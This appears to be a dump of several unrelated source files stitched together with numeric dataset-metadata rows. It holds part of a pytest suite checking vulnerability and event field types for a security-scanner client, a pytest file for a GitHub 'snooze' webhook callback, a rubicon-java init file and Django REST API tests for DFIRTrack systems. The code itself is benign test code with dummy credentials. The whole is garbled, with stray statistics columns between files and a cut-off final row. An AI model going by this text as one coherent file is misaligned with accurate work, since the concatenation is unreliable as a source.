check(vuln, 'checkType', str)
check(vuln, 'cpe', str)
check(vuln, 'cve', str)
check(vuln, 'cvssVector', str)
check(vuln, 'description', str)
check(vuln, 'deviceVersion', str)
check(vuln, 'exploitAvailable', str)
check(vuln, 'exploitEase', str)
check(vuln, 'exploitFrameworks', str)
check(vuln, 'identifier', str)
check(vuln, 'lastSeen', str)
check(vuln, 'mdmType', str)
check(vuln, 'model', str)
check(vuln, 'osCPE', str)
check(vuln, 'patchPubDate', str)
check(vuln, 'pluginID', str)
check(vuln, 'pluginInfo', str)
check(vuln, 'pluginModDate', str)
check(vuln, 'pluginName', str)
check(vuln, 'pluginOutput', str)
check(vuln, 'pluginPubDate', str)
check(vuln, 'port', str)
check(vuln, 'protocol', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
check(vuln, 'riskFactor', str)
check(vuln, 'seeAlso', str)
check(vuln, 'serial', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'solution', str)
check(vuln, 'stigSeverity', str)
check(vuln, 'synopsis', str)
check(vuln, 'temporalScore', str)
check(vuln, 'user', str)
check(vuln, 'version', str)
check(vuln, 'vulnPubDate', str)
check(vuln, 'xref', str)
@pytest.mark.vcr()
def test_analysis_events_listdata(sc):
events = sc.analysis.events(tool='listdata', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'destination ip', str)
check(event, 'destination port', str)
check(event, 'event', str)
check(event, 'number of vulns', str)
check(event, 'protocol', str)
check(event, 'sensor', str)
check(event, 'source ip', str)
check(event, 'time', str)
check(event, 'type', str)
check(event, 'va/ids', str)
@pytest.mark.vcr()
def test_analysis_events_sumasset(sc):
events = sc.analysis.events(tool='sumasset', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'asset', dict)
check(event['asset'], 'description', str)
check(event['asset'], 'id', str)
check(event['asset'], 'name', str)
check(event['asset'], 'status', str)
check(event['asset'], 'type', str)
try:
check(event, 'count', str)
except AssertionError:
check(event, 'count', int)
@pytest.mark.vcr()
def test_analysis_events_sumclassa(sc):
events = sc.analysis.events(tool='sumclassa', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'class-a', str)
check(event, 'count', str)
@pytest.mark.vcr()
def test_analysis_events_sumclassb(sc):
events = sc.analysis.events(tool='sumclassb', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'class-b', str)
check(event, 'count', str)
@pytest.mark.vcr()
def test_analysis_events_sumclassc(sc):
events = sc.analysis.events(tool='sumclassc', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'class-c', str)
check(event, 'count', str)
@pytest.mark.vcr()
def test_analysis_events_sumconns(sc):
events = sc.analysis.events(tool='sumconns', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'count', str)
check(event, 'destination ip', str)
check(event, 'source ip', str)
@pytest.mark.vcr()
def test_analysis_events_sumdate(sc):
events = sc.analysis.events(tool='sumdate', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, '24-hour plot', str)
check(event, 'count', str)
check(event, 'date', str)
check(event, 'time block start', str)
check(event, 'time block stop', str)
@pytest.mark.vcr()
def test_analysis_events_sumdstip(sc):
events = sc.analysis.events(tool='sumdstip', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'address', str)
check(event, 'count', str)
check(event, 'lce', dict)
check(event['lce'], 'description', str)
check(event['lce'], 'id', str)
check(event['lce'], 'name', str)
check(event['lce'], 'status', str)
@pytest.mark.vcr()
def test_analysis_events_sumevent(sc):
events = sc.analysis.events(tool='sumevent', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, '24-hour plot', str)
check(event, 'count', str)
check(event, 'description', str)
check(event, 'event', str)
check(event, 'file', str)
@pytest.mark.vcr()
def test_analysis_events_sumevent2(sc):
events = sc.analysis.events(tool='sumevent2', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, '24-hour plot', str)
check(event, 'count', str)
check(event, 'description', str)
check(event, 'event', str)
check(event, 'file', str)
@pytest.mark.vcr()
def test_analysis_events_sumip(sc):
events = sc.analysis.events(tool='sumip', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'address', str)
check(event, 'count', str)
check(event, 'lce', dict)
check(event['lce'], 'description', str)
check(event['lce'], 'id', str)
check(event['lce'], 'name', str)
check(event['lce'], 'status', str)
@pytest.mark.vcr()
def test_analysis_events_sumport(sc):
events = sc.analysis.events(tool='sumport', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'count', str)
check(event, 'port', str)
@pytest.mark.vcr()
def test_analysis_events_sumprotocol(sc):
events = sc.analysis.events(tool='sumprotocol', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'count', str)
check(event, 'protocol', str)
@pytest.mark.vcr()
def test_analysis_events_sumsrcip(sc):
events = sc.analysis.events(tool='sumsrcip', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'address', str)
check(event, 'count', str)
check(event, 'lce', dict)
check(event['lce'], 'description', str)
check(event['lce'], 'id', str)
check(event['lce'], 'name', str)
check(event['lce'], 'status', str)
@pytest.mark.vcr()
def test_analysis_events_sumtime(sc):
events = sc.analysis.events(tool='sumtime', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'count', str)
check(event, 'time block start', str)
check(event, 'time block stop', str)
@pytest.mark.vcr()
def test_analysis_events_sumtype(sc):
events = sc.analysis.events(tool='sumtype', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, '24-hour plot', str)
check(event, 'count', str)
check(event, 'type', str)
@pytest.mark.vcr()
def test_analysis_events_sumuser(sc):
events = sc.analysis.events(tool='sumuser', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, '24-hour plot', str)
check(event, 'count', str)
check(event, 'user', str)
@pytest.mark.vcr()
def test_analysis_events_syslog(sc):
events = sc.analysis.events(tool='syslog', pages=2, limit=5)
for event in events:
assert isinstance(event, dict)
check(event, 'message', str)
check(event, 'sensor', str)
check(event, 'time', str)
check(event, 'type', str)
| 33.902354
| 77
| 0.585146
| 4,462
| 38,886
| 5.029359
| 0.058494
| 0.15436
| 0.183414
| 0.042779
| 0.864712
| 0.843991
| 0.808119
| 0.718061
| 0.690032
| 0.684194
| 0
| 0.007464
| 0.259219
| 38,886
| 1,146
| 78
| 33.931937
| 0.771575
| 0
| 0
| 0.747253
| 0
| 0
| 0.178728
| 0.00108
| 0
| 0
| 0
| 0
| 0.06993
| 1
| 0.071928
| false
| 0
| 0.003996
| 0
| 0.075924
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fe4ac0c80fe31b2dc77db629d7e5674fa16aef7b
| 8,616
|
py
|
Python
|
snooze/test/test_callbacks.py
|
DragonHans86/github-snooze-button
|
bce8000aebbb231b9344cccd1ac8c2323431516c
|
[
"MIT"
] | 233
|
2016-04-03T11:12:51.000Z
|
2022-02-20T06:08:16.000Z
|
snooze/test/test_callbacks.py
|
DragonHans86/github-snooze-button
|
bce8000aebbb231b9344cccd1ac8c2323431516c
|
[
"MIT"
] | 11
|
2016-04-03T19:54:23.000Z
|
2018-10-12T19:08:27.000Z
|
snooze/test/test_callbacks.py
|
DragonHans86/github-snooze-button
|
bce8000aebbb231b9344cccd1ac8c2323431516c
|
[
"MIT"
] | 31
|
2017-04-06T00:48:25.000Z
|
2022-02-15T08:16:37.000Z
|
import json
from textwrap import dedent
import pytest
import responses
import requests
from testfixtures import LogCapture
import snooze
import snooze.callbacks
import github_responses
class TestGithubWebhookCallback(object):
@pytest.fixture
def config(self, tmpdir):
config = tmpdir.join("config.txt")
config.write(dedent("""\
[baxterthehacker/public-repo]
github_username: frodo
github_token: baggins
aws_key: shire
aws_secret: precious
aws_region: us-west-2
snooze_label: snooze
"""))
return snooze.parse_config(str(config))["baxterthehacker/public-repo"]
@responses.activate
def test_issue_comment_callback(self, config):
"""Test that a snooze label is removed from issues when a new comment
is received."""
responses.add(
responses.PATCH,
"https://api.github.com/repos/baxterthehacker/public-repo/issues/2")
r = snooze.github_callback(
"issue_comment",
json.loads(github_responses.SNOOZED_ISSUE_COMMENT),
(config["github_username"], config["github_token"]),
config["snooze_label"],
config["ignore_members_of"])
assert r is True
assert len(responses.calls) == 1
org_url = "https://api.github.com/orgs/fellowship/members/baxterthehacker"
responses.add(responses.GET, org_url, status=204) # is a member
r = snooze.github_callback(
"issue_comment",
json.loads(github_responses.SNOOZED_ISSUE_COMMENT),
(config["github_username"], config["github_token"]),
config["snooze_label"],
ignore_members_of="fellowship")
assert r is False
orc_url = "https://api.github.com/orgs/orcs/members/baxterthehacker"
responses.add(responses.GET, orc_url, status=404) # is not a member
r = snooze.github_callback(
"issue_comment",
json.loads(github_responses.SNOOZED_ISSUE_COMMENT),
(config["github_username"], config["github_token"]),
config["snooze_label"],
ignore_members_of="orcs")
assert r is True
@responses.activate
def test_issue_comment_callback_not_snoozed(self, config):
"""Don't do anything on receiving an unsnoozed message."""
r = snooze.github_callback(
"issue_comment",
json.loads(github_responses.UNSNOOZED_ISSUE_COMMENT),
(config["github_username"], config["github_token"]),
config["snooze_label"],
config["ignore_members_of"])
assert r is False
assert len(responses.calls) == 0
@responses.activate
def test_pr_synchronize_callback(self, config):
"""Test that a snooze label is removed from PRs when a new commit is
pushed."""
responses.add(
responses.PATCH,
"https://api.github.com/repos/octocat/Hello-World/issues/1347")
responses.add(
responses.GET,
"https://api.github.com/repos/baxterthehacker/public-repo/issues/1",
body=github_responses.SNOOZED_ISSUE_GET)
r = snooze.github_callback(
"pull_request",
json.loads(github_responses.PULL_REQUEST),
(config["github_username"], config["github_token"]),
config["snooze_label"],
config["ignore_members_of"])
assert r is True
assert len(responses.calls) == 2
@responses.activate
def test_pr_synchronize_callback_not_snoozed(self, config):
"""Test that a snooze label is not removed from PRs when a new commit is
pushed but there is no snooze label."""
responses.add(
responses.GET,
"https://api.github.com/repos/baxterthehacker/public-repo/issues/1",
body=github_responses.UNSNOOZED_ISSUE_GET)
r = snooze.github_callback(
"pull_request",
json.loads(github_responses.PULL_REQUEST),
(config["github_username"], config["github_token"]),
config["snooze_label"],
config["ignore_members_of"])
assert r is False
assert len(responses.calls) == 1
@responses.activate
def test_pr_commit_comment_callback(self, config):
"""Test that a snooze label is removed from PRs when a new commit is
pushed."""
responses.add(
responses.PATCH,
"https://api.github.com/repos/octocat/Hello-World/issues/1347")
responses.add(
responses.GET,
"https://api.github.com/repos/baxterthehacker/public-repo/issues/1",
body=github_responses.SNOOZED_ISSUE_GET)
r = snooze.github_callback(
"pull_request_review_comment",
json.loads(github_responses.PULL_REQUEST_REVIEW_COMMENT),
(config["github_username"], config["github_token"]),
config["snooze_label"],
config["ignore_members_of"])
assert r is True
assert len(responses.calls) == 2
org_url = "https://api.github.com/orgs/fellowship/members/baxterthehacker"
responses.add(responses.GET, org_url, status=204) # is a member
r = snooze.github_callback(
"pull_request_review_comment",
json.loads(github_responses.PULL_REQUEST_REVIEW_COMMENT),
(config["github_username"], config["github_token"]),
config["snooze_label"],
ignore_members_of="fellowship")
assert r is False
orc_url = "https://api.github.com/orgs/orcs/members/baxterthehacker"
responses.add(responses.GET, orc_url, status=404) # is not a member
r = snooze.github_callback(
"pull_request_review_comment",
json.loads(github_responses.PULL_REQUEST_REVIEW_COMMENT),
(config["github_username"], config["github_token"]),
config["snooze_label"],
ignore_members_of="orcs")
assert r is True
@responses.activate
def test_pr_commit_comment_callback_not_snoozed(self, config):
"""Test that a snooze label is not removed from PRs when a new commit is
pushed but there is no snooze label."""
responses.add(
responses.GET,
"https://api.github.com/repos/baxterthehacker/public-repo/issues/1",
body=github_responses.UNSNOOZED_ISSUE_GET)
r = snooze.github_callback(
"pull_request_review_comment",
json.loads(github_responses.PULL_REQUEST_REVIEW_COMMENT),
(config["github_username"], config["github_token"]),
config["snooze_label"],
config["ignore_members_of"])
assert r is False
assert len(responses.calls) == 1
def test_bad_callback_type_is_logged(self, config):
with LogCapture() as l:
snooze.github_callback("foobar", None, None, None, None)
assert "WARNING" in str(l)
class TestIsMember(object):
@pytest.fixture
def config(self, tmpdir):
config = tmpdir.join("config.txt")
config.write(dedent("""\
[baxterthehacker/public-repo]
github_username: frodo
github_token: baggins
aws_key: shire
aws_secret: precious
aws_region: us-west-2
snooze_label: snooze
ignore_members_of: fellowship
"""))
return snooze.parse_config(str(config))["baxterthehacker/public-repo"]
@pytest.fixture
def github_auth(self, config):
return (config["github_username"], config["github_token"])
@responses.activate
def test_is_member_true(self, config, github_auth):
url = "https://api.github.com/orgs/fellowship/members/bilbo"
responses.add(responses.GET, url, status=204)
assert snooze.callbacks.is_member_of(github_auth, "bilbo", "fellowship")
@responses.activate
def test_is_member_false(self, config, github_auth):
url = "https://api.github.com/orgs/fellowship/members/sauron"
responses.add(responses.GET, url, status=404)
assert snooze.callbacks.is_member_of(github_auth, "sauron", "fellowship") is False
@responses.activate
def test_is_member_raises(self, config, github_auth):
url = "https://api.github.com/orgs/fellowship/members/bilbo"
responses.add(responses.GET, url, status=200)
with pytest.raises(requests.exceptions.HTTPError):
snooze.callbacks.is_member_of(github_auth, "bilbo", "fellowship")
| 40.074419
| 90
| 0.636722
| 992
| 8,616
| 5.325605
| 0.132056
| 0.056786
| 0.05565
| 0.04505
| 0.89135
| 0.89116
| 0.855953
| 0.832671
| 0.814878
| 0.759417
| 0
| 0.006569
| 0.257892
| 8,616
| 214
| 91
| 40.261682
| 0.819675
| 0.063951
| 0
| 0.791209
| 0
| 0
| 0.281316
| 0.027531
| 0
| 0
| 0
| 0
| 0.104396
| 1
| 0.071429
| false
| 0
| 0.049451
| 0.005495
| 0.148352
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fe87ff8f2768210a7912a12c5d5cec18925ed728
| 144
|
py
|
Python
|
rubicon/java/__init__.py
|
eliteraspberries/rubicon-java
|
87049b4d6479158ce61bd414a4d45ab9567f8588
|
[
"BSD-3-Clause"
] | 36
|
2019-04-17T11:17:14.000Z
|
2022-02-11T02:09:26.000Z
|
rubicon/java/__init__.py
|
eliteraspberries/rubicon-java
|
87049b4d6479158ce61bd414a4d45ab9567f8588
|
[
"BSD-3-Clause"
] | 38
|
2019-12-05T03:38:24.000Z
|
2022-03-29T04:50:36.000Z
|
rubicon/java/__init__.py
|
eliteraspberries/rubicon-java
|
87049b4d6479158ce61bd414a4d45ab9567f8588
|
[
"BSD-3-Clause"
] | 14
|
2019-05-07T15:01:42.000Z
|
2022-01-03T21:04:14.000Z
|
from .api import * # noqa; F401, F403
from .jni import * # noqa; F401, F403
from .types import * # noqa; F401, F403
__version__ = '0.2.5'
| 24
| 40
| 0.631944
| 22
| 144
| 3.954545
| 0.545455
| 0.344828
| 0.482759
| 0.62069
| 0.505747
| 0
| 0
| 0
| 0
| 0
| 0
| 0.189189
| 0.229167
| 144
| 5
| 41
| 28.8
| 0.594595
| 0.347222
| 0
| 0
| 0
| 0
| 0.055556
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
fea3d1352f0ec214bc77d218734cc93812b75bf6
| 18,464
|
py
|
Python
|
Incident-Response/Tools/dfirtrack/dfirtrack_api/tests/dfirtrack_main/system/test_system_api_views.py
|
sn0b4ll/Incident-Playbook
|
cf519f58fcd4255674662b3620ea97c1091c1efb
|
[
"MIT"
] | 1
|
2021-07-24T17:22:50.000Z
|
2021-07-24T17:22:50.000Z
|
Incident-Response/Tools/dfirtrack/dfirtrack_api/tests/dfirtrack_main/system/test_system_api_views.py
|
sn0b4ll/Incident-Playbook
|
cf519f58fcd4255674662b3620ea97c1091c1efb
|
[
"MIT"
] | 2
|
2022-02-28T03:40:31.000Z
|
2022-02-28T03:40:52.000Z
|
Incident-Response/Tools/dfirtrack/dfirtrack_api/tests/dfirtrack_main/system/test_system_api_views.py
|
sn0b4ll/Incident-Playbook
|
cf519f58fcd4255674662b3620ea97c1091c1efb
|
[
"MIT"
] | 2
|
2022-02-25T08:34:51.000Z
|
2022-03-16T17:29:44.000Z
|
from django.contrib.auth.models import User
from django.test import TestCase
from django.utils import timezone
from dfirtrack_main.models import Analysisstatus, Case, Company, Contact, Dnsname, Domain, Ip, Location, Os, Osarch, Reason, Recommendation, Serviceprovider, System, Systemstatus, Systemtype, Tag, Tagcolor
import urllib.parse
class SystemAPIViewTestCase(TestCase):
""" system API view tests """
@classmethod
def setUpTestData(cls):
# create user
test_user = User.objects.create_user(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# create mandatory foreign key objects
# create object
systemstatus_1 = Systemstatus.objects.create(systemstatus_name='systemstatus_1')
# create optional foreign key objects
# create object
Analysisstatus.objects.create(analysisstatus_name='analysisstatus_1')
# create object
Case.objects.create(
case_name = 'case_1',
case_is_incident = True,
case_created_by_user_id = test_user,
)
# create object
Company.objects.create(company_name='company_1')
# create object
Contact.objects.create(
contact_name = 'contact_1',
contact_email = 'contact_email_1',
)
# create object
Dnsname.objects.create(dnsname_name='dnsname_1')
# create object
Domain.objects.create(domain_name='domain_1')
# create foreign key system
System.objects.create(
system_name = 'hostsystem_api_1',
systemstatus = systemstatus_1,
system_modify_time = timezone.now(),
system_created_by_user_id = test_user,
system_modified_by_user_id = test_user,
)
# create object
Ip.objects.create(ip_ip='127.0.0.1')
# create object
Location.objects.create(location_name='location_1')
# create object
Os.objects.create(os_name='os_1')
# create object
Osarch.objects.create(osarch_name='osarch_1')
# create object
Reason.objects.create(reason_name='reason_1')
# create object
Recommendation.objects.create(recommendation_name='recommendation_1')
# create object
Serviceprovider.objects.create(serviceprovider_name='serviceprovider_1')
# create object
Systemtype.objects.create(systemtype_name='systemtype_1')
# create object
tagcolor_1 = Tagcolor.objects.create(tagcolor_name='tagcolor_1')
# create object
Tag.objects.create(
tagcolor = tagcolor_1,
tag_name = 'tag_1',
)
# create object
System.objects.create(
system_name = 'system_api_1',
systemstatus = systemstatus_1,
system_modify_time = timezone.now(),
system_created_by_user_id = test_user,
system_modified_by_user_id = test_user,
)
def test_system_list_api_unauthorized(self):
""" unauthorized access is forbidden"""
# get response
response = self.client.get('/api/system/')
# compare
self.assertEqual(response.status_code, 401)
def test_system_list_api_method_get(self):
""" GET is allowed """
# login testuser
self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# get response
response = self.client.get('/api/system/')
# compare
self.assertEqual(response.status_code, 200)
def test_system_list_api_method_post(self):
""" POST is allowed """
# get user
test_user_id = User.objects.get(username='testuser_system_api').id
# get object
systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id
# login testuser
self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# create POST string
poststring = {
"system_name": "system_api_2",
"systemstatus": systemstatus_id,
"system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
"system_created_by_user_id": test_user_id,
"system_modified_by_user_id": test_user_id,
}
# get response
response = self.client.post('/api/system/', data=poststring, content_type='application/json')
# compare
self.assertEqual(response.status_code, 201)
def test_system_list_api_method_post_all_id(self):
""" POST is allowed """
# get user
test_user_id = User.objects.get(username='testuser_system_api').id
# get object
analysisstatus_id = Analysisstatus.objects.get(analysisstatus_name='analysisstatus_1').analysisstatus_id
# get object
case_id = Case.objects.get(case_name='case_1').case_id
# get object
company_id = Company.objects.get(company_name='company_1').company_id
# get object
contact_id = Contact.objects.get(contact_name='contact_1').contact_id
# get object
dnsname_id = Dnsname.objects.get(dnsname_name='dnsname_1').dnsname_id
# get object
domain_id = Domain.objects.get(domain_name='domain_1').domain_id
# get object
hostsystem_id = System.objects.get(system_name='hostsystem_api_1').system_id
# get object
ip_id = Ip.objects.get(ip_ip='127.0.0.1').ip_id
# get object
location_id = Location.objects.get(location_name='location_1').location_id
# get object
os_id = Os.objects.get(os_name='os_1').os_id
# get object
osarch_id = Osarch.objects.get(osarch_name='osarch_1').osarch_id
# get object
reason_id = Reason.objects.get(reason_name='reason_1').reason_id
# get object
recommendation_id = Recommendation.objects.get(recommendation_name='recommendation_1').recommendation_id
# get object
serviceprovider_id = Serviceprovider.objects.get(serviceprovider_name='serviceprovider_1').serviceprovider_id
# get object
systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id
# get object
systemtype_id = Systemtype.objects.get(systemtype_name='systemtype_1').systemtype_id
# get object
tag_id = Tag.objects.get(tag_name='tag_1').tag_id
# login testuser
self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# create POST string
poststring = {
"system_name": "system_api_2",
"analysisstatus": analysisstatus_id,
"case": [
case_id,
],
"company": [
company_id,
],
"contact": contact_id,
"dnsname": dnsname_id,
"domain": domain_id,
"hostsystem": hostsystem_id,
"ip": [
ip_id,
],
"location": location_id,
"os": os_id,
"osarch": osarch_id,
"reason": reason_id,
"recommendation": recommendation_id,
"serviceprovider": serviceprovider_id,
"systemstatus": systemstatus_id,
"systemtype": systemtype_id,
"tag": [
tag_id,
],
"system_lastbooted_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
"system_deprecated_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
"system_is_vm": True,
"system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
"system_created_by_user_id": test_user_id,
"system_modified_by_user_id": test_user_id,
"system_export_markdown": False,
"system_export_spreadsheet": False,
}
# get response
response = self.client.post('/api/system/', data=poststring, content_type='application/json')
# compare
self.assertEqual(response.status_code, 201)
# TODO: is it possible to declare (and therefore test) nested serializers this way (like with analysisstatus in this example)?
# def test_system_list_api_method_post_all_fk(self):
# """ POST is allowed """
#
# # get user
# test_user_id = User.objects.get(username='testuser_system_api').id
# # get object
# analysisstatus_name = Analysisstatus.objects.get(analysisstatus_name='analysisstatus_1').analysisstatus_name
# # get object
# systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id
# # login testuser
# self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# # create POST string
# poststring = {
# "system_name": "system_api_2",
# "analysisstatus": {
# "analysisstatus_name": analysisstatus_name,
# },
# "systemstatus": systemstatus_id,
# "system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
# "system_created_by_user_id": test_user_id,
# "system_modified_by_user_id": test_user_id,
# }
# # get response
# response = self.client.post('/api/system/', data=poststring, content_type='application/json')
# # compare
# self.assertEqual(response.status_code, 201)
def test_system_list_api_redirect(self):
""" test redirect with appending slash """
# login testuser
self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# create url
destination = urllib.parse.quote('/api/system/', safe='/')
# get response
response = self.client.get('/api/system', follow=True)
# compare
self.assertRedirects(response, destination, status_code=301, target_status_code=200)
def test_system_detail_api_unauthorized (self):
""" unauthorized access is forbidden"""
# get object
system_api_1 = System.objects.get(system_name='system_api_1')
# get response
response = self.client.get('/api/system/' + str(system_api_1.system_id) + '/')
# compare
self.assertEqual(response.status_code, 401)
def test_system_detail_api_method_get(self):
""" GET is allowed """
# get object
system_api_1 = System.objects.get(system_name='system_api_1')
# login testuser
self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# get response
response = self.client.get('/api/system/' + str(system_api_1.system_id) + '/')
# compare
self.assertEqual(response.status_code, 200)
def test_system_detail_api_method_delete(self):
""" DELETE is forbidden """
# get object
system_api_1 = System.objects.get(system_name='system_api_1')
# login testuser
self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# get response
response = self.client.delete('/api/system/' + str(system_api_1.system_id) + '/')
# compare
self.assertEqual(response.status_code, 405)
def test_system_detail_api_method_put(self):
""" PUT is allowed """
# get user
test_user_id = User.objects.get(username='testuser_system_api').id
# get object
system_api_1 = System.objects.get(system_name='system_api_1')
# get object
systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id
# login testuser
self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# create url
destination = urllib.parse.quote('/api/system/' + str(system_api_1.system_id) + '/', safe='/')
# create PUT string
putstring = {
"system_name": "new_system_api_1",
"systemstatus": systemstatus_id,
"system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
"system_created_by_user_id": test_user_id,
"system_modified_by_user_id": test_user_id,
}
# get response
response = self.client.put(destination, data=putstring, content_type='application/json')
# compare
self.assertEqual(response.status_code, 200)
def test_system_detail_api_method_put_all_id(self):
""" PUT is allowed """
# get user
test_user_id = User.objects.get(username='testuser_system_api').id
# get object
system_api_1 = System.objects.get(system_name='system_api_1')
# get object
analysisstatus_id = Analysisstatus.objects.get(analysisstatus_name='analysisstatus_1').analysisstatus_id
# get object
case_id = Case.objects.get(case_name='case_1').case_id
# get object
company_id = Company.objects.get(company_name='company_1').company_id
# get object
contact_id = Contact.objects.get(contact_name='contact_1').contact_id
# get object
dnsname_id = Dnsname.objects.get(dnsname_name='dnsname_1').dnsname_id
# get object
domain_id = Domain.objects.get(domain_name='domain_1').domain_id
# get object
hostsystem_id = System.objects.get(system_name='hostsystem_api_1').system_id
# get object
ip_id = Ip.objects.get(ip_ip='127.0.0.1').ip_id
# get object
location_id = Location.objects.get(location_name='location_1').location_id
# get object
os_id = Os.objects.get(os_name='os_1').os_id
# get object
osarch_id = Osarch.objects.get(osarch_name='osarch_1').osarch_id
# get object
reason_id = Reason.objects.get(reason_name='reason_1').reason_id
# get object
recommendation_id = Recommendation.objects.get(recommendation_name='recommendation_1').recommendation_id
# get object
serviceprovider_id = Serviceprovider.objects.get(serviceprovider_name='serviceprovider_1').serviceprovider_id
# get object
systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id
# get object
systemtype_id = Systemtype.objects.get(systemtype_name='systemtype_1').systemtype_id
# get object
tag_id = Tag.objects.get(tag_name='tag_1').tag_id
# login testuser
self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# create url
destination = urllib.parse.quote('/api/system/' + str(system_api_1.system_id) + '/', safe='/')
# create PUT string
putstring = {
"system_name": "new_system_api_1",
"analysisstatus": analysisstatus_id,
"case": [
case_id,
],
"company": [
company_id,
],
"contact": contact_id,
"dnsname": dnsname_id,
"domain": domain_id,
"hostsystem": hostsystem_id,
"ip": [
ip_id,
],
"location": location_id,
"os": os_id,
"osarch": osarch_id,
"reason": reason_id,
"recommendation": recommendation_id,
"serviceprovider": serviceprovider_id,
"systemstatus": systemstatus_id,
"systemtype": systemtype_id,
"tag": [
tag_id,
],
"system_lastbooted_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
"system_deprecated_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
"system_is_vm": True,
"system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
"system_created_by_user_id": test_user_id,
"system_modified_by_user_id": test_user_id,
"system_export_markdown": False,
"system_export_spreadsheet": False,
}
# get response
response = self.client.put(destination, data=putstring, content_type='application/json')
# compare
self.assertEqual(response.status_code, 200)
# TODO: is it possible to declare (and therefore test) nested serializers this way (like with analysisstatus in this example)?
# def test_system_detail_api_method_put_all_fk(self):
# """ PUT is allowed """
#
# # get user
# test_user_id = User.objects.get(username='testuser_system_api').id
# # get object
# system_api_1 = System.objects.get(system_name='system_api_1')
# # get object
# analysisstatus_name = Analysisstatus.objects.get(analysisstatus_name='analysisstatus_1').analysisstatus_name
# # get object
# systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id
# # login testuser
# self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# # create url
# destination = urllib.parse.quote('/api/system/' + str(system_api_1.system_id) + '/', safe='/')
# # create PUT string
# putstring = {
# "system_name": "new_system_api_1",
# "analysisstatus": {
# "analysisstatus_name": analysisstatus_name,
# },
# "systemstatus": systemstatus_id,
# "system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'),
# "system_created_by_user_id": test_user_id,
# "system_modified_by_user_id": test_user_id,
# }
# # get response
# response = self.client.put(destination, data=putstring, content_type='application/json')
# # compare
# self.assertEqual(response.status_code, 200)
def test_system_detail_api_redirect(self):
""" test redirect with appending slash """
# get object
system_api_1 = System.objects.get(system_name='system_api_1')
# login testuser
self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc')
# create url
destination = urllib.parse.quote('/api/system/' + str(system_api_1.system_id) + '/', safe='/')
# get response
response = self.client.get('/api/system/' + str(system_api_1.system_id), follow=True)
# compare
self.assertRedirects(response, destination, status_code=301, target_status_code=200)
| 42.155251
| 205
| 0.633016
| 2,075
